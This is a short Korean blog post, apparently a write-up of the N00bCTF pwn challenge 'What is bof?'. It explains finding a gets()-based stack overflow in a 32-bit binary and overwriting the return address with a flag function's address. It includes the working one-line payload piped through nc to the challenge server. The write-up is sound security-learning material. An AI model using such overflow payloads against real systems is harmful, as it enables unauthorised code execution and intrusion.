N00bCTF What is bof?

CTF 중점 스터디

2019. 11. 18. 00:15

작성자: 지현근

N00bCTF pwn분야를 5시간만에 겨우 올클한 기념으로 풀이를 작성한다.

파일을 다운받고 gdb를 이용해 함수들을 살펴보자

main함수와 flag함수가 눈에띈다.

함수목록들을 살펴봤을 때, gets 함수가 있으니 bof가 가능함을 알 수 있다.

flag 함수를 살펴보면 system함수가 있으니 쉘코드 없이 가능하다는걸 알 수 있다.

flag 함수 주소를 ret에 넣어주면 flag 함수로 jmp를 할거라는 예상을 할 수 있다.

대충 변수크기는 20이고 32비트짜리 프로그램이니 SFB 4까지 더해줘서 A를 24개 넣어주면 될거다.

그리고 주소까지 더해서 AAAAAAAAAAAAAAAAAAAAAAAA\x16\x85\x04\x08를 넣어주면 뚫릴것이다.

(python -c 'print "A"*24 + "\x16\x85\x04\x08"';cat) | nc 52.79.224.215 30005

뚫으면 그냥 ls -al로 목록을 확인하고 cat으로 flag를 읽어주면 된다.

'CTF 중점 스터디' 카테고리의 다른 글

N00bCTF - Simple md(5-1) Write-up  (0) 2019.11.20
Wargame.kr - strcmp - Write up  (0) 2019.11.18
Pwnable.kr_bof5 WriteUp  (0) 2019.11.17
Reversing.kr - Easy Keygen Write up  (0) 2019.11.12
Newbie CTF REC Write up  (0) 2019.11.11